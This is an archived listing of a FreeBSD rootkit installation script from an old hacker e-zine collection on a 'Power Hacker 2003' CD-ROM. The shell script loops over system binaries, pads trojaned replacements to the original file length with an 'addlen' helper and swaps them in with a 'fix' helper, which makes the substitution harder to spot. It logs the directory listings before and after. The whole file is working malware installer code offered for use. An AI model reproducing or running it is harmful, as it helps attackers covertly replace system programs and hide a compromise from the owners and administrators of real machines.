home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / install.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  2002-05-27  |  607 b   |  29 lines

  1. #!/bin/sh
  2. # Installation script for the FreeBSD rootkit. Make as many changes as you like.
  3.  
  4. # Uncomment the below line if you want to backup the files.
  5. BAKDIR=bak
  6.  
  7. rm before.log
  8. rm after.log
  9.  
  10. for BIN; do
  11.     echo `ls -laF $BIN` >> before.log
  12.     PROG=`basename $BIN`
  13.     echo -n "Installing $PROG. . ."
  14.     RKBIN=$PROG/$PROG
  15.     if [ -x $BIN ]; then
  16.         ./addlen $RKBIN $BIN
  17.         ./fix $BIN $RKBIN $BAKDIR
  18.         echo `ls -laF $BIN` >> after.log
  19.     fi
  20.     echo "done."
  21. done
  22.  
  23. echo "The installation is complete."
  24. echo ""
  25. echo "This is what thing looked like before:"
  26. cat before.log
  27. echo "This is what things look like now:"
  28. cat after.log
  29.